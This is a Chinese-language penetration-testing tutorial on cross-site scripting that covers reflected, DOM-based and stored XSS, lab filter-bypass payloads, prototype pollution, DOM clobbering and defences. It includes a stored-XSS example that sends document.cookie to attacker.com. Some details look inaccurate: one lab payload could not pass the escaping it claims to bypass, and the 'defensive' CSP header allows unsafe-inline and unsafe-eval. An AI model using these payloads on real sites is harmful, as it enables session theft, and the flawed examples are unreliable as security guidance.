当前位置: 首页 > news >正文

渗透笔记(XSS跨站脚本攻击)

一、XSS攻击概述

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在目标网站上注入恶意脚本,当其他用户访问该页面时,脚本会在用户浏览器中执行,从而窃取用户数据、会话令牌或进行其他恶意操作。

二、XSS攻击类型

1. 反射型XSS(Reflected XSS)

原理:恶意脚本作为请求的一部分发送到服务器,服务器将脚本"反射"回响应中并在用户浏览器执行。

示例

<!-- 假设存在漏洞的URL -->
https://example.com/search?q=<script>alert('XSS')</script><!-- 服务器响应可能包含 -->
<div>您搜索的结果:<script>alert('XSS')</script></div>

bypass技巧(以DVWA靶场为例):

Level 1-11 常见绕过方法
  • Level 1:直接注入<script>alert(1)</script>
  • Level 2:使用事件处理程序<img src=x onerror=alert(1)>
  • Level 3:利用URL编码<a href="javascript:alert(1)">click</a>
  • Level 4:使用大小写混合<ScRiPt>alert(1)</ScRiPt>
  • Level 5:利用HTML实体编码&lt;script&gt;alert(1)&lt;/script&gt;
  • Level 6:使用SVG标签<svg/onload=alert(1)>
  • Level 7:利用JavaScript伪协议<iframe src="javascript:alert(1)">
  • Level 8:使用Unicode编码<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
  • Level 9:通过闭合现有标签</textarea><script>alert(1)</script>
  • Level 10:利用CSS表达式<div style="x:expression(alert(1))">
  • Level 11:使用HTML5新特性<details open ontoggle=alert(1)>

2. DOM型XSS(DOM-based XSS)

原理:完全在客户端发生的XSS攻击,恶意脚本通过修改DOM环境而非插入HTML代码来执行。

xss.pwnfunction靶场示例

第一关:Ma Spagheti
// 漏洞代码
document.write(decodeURIComponent(location.hash.slice(1)));// 攻击payload
https://xss.pwnfunction.com/ma-spagheti.html#<img src=x onerror=alert(1)>
第二关:JEFFFF
// 漏洞代码
document.getElementById('jeff').innerHTML = decodeURIComponent(location.hash.slice(1));// 攻击payload
https://xss.pwnfunction.com/jeffff.html#<svg/onload=alert(1)>
第三关:Ugandan Knuckles
// 漏洞代码
eval('var x = "' + location.hash.slice(1) + '"');// 攻击payload
https://xss.pwnfunction.com/ugandan-knuckles.html#";alert(1);//
第四关:Ricardo Milos
// 漏洞代码
document.querySelector('div').innerHTML = location.hash.slice(1).replace(/</g, '&lt;');// 攻击payload(绕过HTML实体编码)
https://xss.pwnfunction.com/ricardo-milos.html#<img src=x onerror=alert(1)>

3. 存储型XSS(Stored XSS)

原理:恶意脚本被永久存储在目标服务器(如数据库、消息论坛、评论字段等),当其他用户访问受影响页面时自动执行。

示例

<!-- 攻击者在评论区提交 -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie);
</script><!-- 其他用户访问该页面时会自动发送cookie到攻击者服务器 -->

三、高级XSS技术

1. 原型链污染(Prototype Pollution)

原理:通过修改JavaScript对象的原型链来污染基础对象,可能导致XSS漏洞。

示例

// 漏洞代码
function merge(target, source) {for (let key in source) {if (typeof target[key] === 'object' && typeof source[key] === 'object') {merge(target[key], source[key]);} else {target[key] = source[key];}}
}// 攻击payload
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);// 现在所有对象都会继承isAdmin属性
console.log({}.isAdmin); // true

2. 基于DOM Clobbering的XSS

示例

<!-- 通过DOM元素覆盖JavaScript变量 -->
<form id="xss"><input name="action" value="alert(1)"></form>
<script>// 原本的xss变量被DOM元素覆盖xss.action(); // 执行alert(1)
</script>

四、防御措施

  1. 输入验证和过滤

    • 使用白名单验证所有输入数据
    • 对特殊字符进行HTML实体编码
  2. 输出编码

    • 根据输出上下文使用适当的编码(HTML、JavaScript、URL等)
  3. 内容安全策略(CSP)

    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'
    
  4. HttpOnly Cookie

    • 设置敏感cookie为HttpOnly,防止JavaScript访问
  5. 使用现代框架

    • React、Vue、Angular等框架有内置的XSS防护机制
http://www.dtcms.com/a/289585.html

相关文章:

  • 【算法300】:栈02
  • Day25| 491.递增子序列、46.全排列、47.全排列 II、回溯总结
  • JAVA面试宝典 -《API设计:RESTful 与 GraphQL 对比实践》
  • Error: You don‘t have permission to access that port.当端口被莫名占用时,kill它!
  • G1回收器垃圾回收过程
  • 30天打牢数模基础-卷积神经网络讲解
  • 将来职业从事股票市场投资工作,应该做什么?
  • Python趣味算法:借书方案知多少 | 排列组合穷举法详解
  • DeepSeek+LoRA微调大模型实战
  • 【机器学习深度学习】魔塔社区模型后缀全解析:Base、Chat、Instruct、Bit、Distill背后的技术密码
  • 【Java多线程-----复习】
  • InfluxDB 核心概念与发展历程全景解读(二)
  • AtCoder Beginner Contest 415
  • 数控调压BUCK电路 —— 基于TPS56637(TI)
  • 乐观锁实现原理笔记
  • Android activity与service通信的三种方法
  • 30天打牢数模基础-K均值聚类
  • (DINO)Emerging Properties in Self-Supervised Vision Transformers论文精读(逐段解析)
  • (苍穹外卖)暑假学习理解P2
  • 从零搭建智能搜索代理:LangGraph + 实时搜索 + PDF导出完整项目实战
  • [C/C++安全编程]_[中级]_[如何安全使用循环语句]
  • k8s:离线部署存在的相关问题
  • 近期工作感想:职业规划篇
  • 【单片机外部中断实验修改动态数码管0-99】2022-5-22
  • Linux文件系统三要素:块划分、分区管理与inode结构解析
  • 本地部署开源离线内容浏览器 Kiwix 并实现外部访问( Windows 版本)
  • 【Java新特性】Java 21 新特性全解析
  • CSS面试题及详细答案140道之(121-140)
  • 快速理解LLM的temperature和top_p参数
  • 设备健康管理实施案例:从技术架构到落地效果的全栈解析